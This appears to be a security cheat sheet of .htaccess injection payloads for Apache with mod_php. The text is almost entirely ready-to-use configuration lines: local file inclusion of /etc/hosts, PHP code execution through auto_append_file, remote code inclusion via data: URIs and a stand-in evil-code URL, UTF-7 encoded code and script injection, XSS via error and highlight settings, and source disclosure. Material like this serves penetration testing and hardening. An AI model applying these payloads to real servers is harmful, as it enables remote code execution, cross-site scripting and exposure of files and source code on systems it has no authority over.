Link to this headingPHP htacess

In a setup of Apache/mod_php an attacker is able to inject .htaccess (or php.ini or apache configuration). The injection directory has AllowOverride Options set (or AllowOverride All, which is very common as well).

Link to this headingExamples

Link to this headingExample 1a: file inclusion

index.php: (empty)

.htaccess:

php_value auto_append_file /etc/hosts

Link to this headingExample 1b: PHP code execution

index.php: (empty)

.htaccess:

php_value auto_append_file .htaccess #<?php phpinfo();

Link to this headingExample 1c: (direct/remote) file inclusion

index.php: (empty)

.htaccess:

php_flag allow_url_include 1 php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B #php_value auto_append_file https://example.com/evil-code.txt

Link to this headingExample 1d: XSS and PHP code execution with UTF-7

index.php: (empty)

.htaccess:

php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7" php_value auto_append_file .htaccess #+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADs

index.php: (produces error message)

<?php include('foo');

.htaccess:

php_flag display_errors 1 php_flag html_errors 1 php_value docref_root "'><script>alert(1);</script>"

index.php:

<?php include('foo');

.htaccess:

php_flag display_errors 1 php_flag html_errors 1 php_value docref_root "x" php_value docref_ext "<script>alert(1);</script>"

Link to this headingExample 3a: XSS via phps color

Assumtion: phps source handler is activated.

<FilesMatch ".+\.phps$"> SetHandler application/x-httpd-php-source Order Allow,Deny Allow from all </FilesMatch>

index.phps:

<?php test(); // comment ?> text

.htaccess:

php_value highlight.comment '"><script>alert(1);</script>'

Link to this headingExample 3b: XSS via highlight_file() color

index.php:

<?php highlight_file(__FILE__); // comment

.htaccess:

php_value highlight.comment '"><script>alert(1);</script>'

Link to this headingExample 4a: failed PHP injection via error_log and include_path

In this example PHP correctly encodes HTML entities in log messages. The injection fails.

index.php:

<?php include('foo');

.htaccess:

php_value error_log /var/www/ex4a/foo.php php_value include_path "<?php phpinfo(); __halt_compiler();"

Link to this headingExample 4b: failed PHP injection via error_log and auto_prepend_file

index.php: (empty)

.htaccess:

php_value error_log /var/www/ipc/ex4b/foo.php php_value auto_prepend_file "<?php phpinfo(); __halt_compiler();"

Link to this headingExample 4c: PHP code injection via error_log and UTF-7

index.php: (empty)

.htaccess:

php_value error_log /var/www/ipc/ex4c/foo.php #---- "<?php phpinfo(); __halt_compiler();" in UTF-7: php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs" php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7"

Link to this headingExample 6: Source code disclosure

index.php:

<?php some_code();

.htaccess:

php_flag engine 0